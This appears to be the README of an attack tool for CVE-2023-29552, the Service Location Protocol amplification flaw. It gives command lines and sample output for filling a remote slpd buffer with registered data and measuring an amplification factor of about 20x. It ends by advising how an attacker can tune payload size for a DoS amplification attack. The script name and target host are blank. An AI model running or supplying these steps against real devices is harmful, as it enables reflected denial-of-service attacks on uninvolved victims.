# Service Location Protocol: CVE-2023-29552
A tool for Service Location Protocol Vulnerability. 

## Usage

### Show all modes
With the -m? option you can list all supported modes.

./ -m?
Supported modes:

        one-shot - load one-time data into svc
        load-test - try to load as much data as possible to service and calc ampfactor
        check - check data in default registry

### Test the maximum size of the remote slpd buffer
Load test until the remote buffer is filled. The command sets the buffer fillup to 1250bytes, registered lifetime to 10000 seconds and a timeout of 2s. 

./ -T 10000 -s 1250 -t 2 -l -m load-test

### Send one fillup request only, 512 bytes payload, 1 second timeout and 60 seconds registered lifetime
./ -T 60 -s 512 -t 1 -l -m one-shot
[+] Preparing packet
[+] Sending packet Register V2...
[+] Registration accepted. 
[+] Loaded up with 579 bytes

### Check remote registered data

./ -l -m check                    
[+] Sending service type  request v2...
[+] Data Buffer: 
[!] Host: Buffer Size: 579 Ampfactor: 19.96551724137931

## Conclusion

On some devices / SLP implementations, the daemon stops filling the buffer after a certain point and either maintains the size or reverts to some default value.
For a DoS amplification attack and in order to optimize the amplification to the maximum an attacker just has to adjust the payload size for the device he is populating.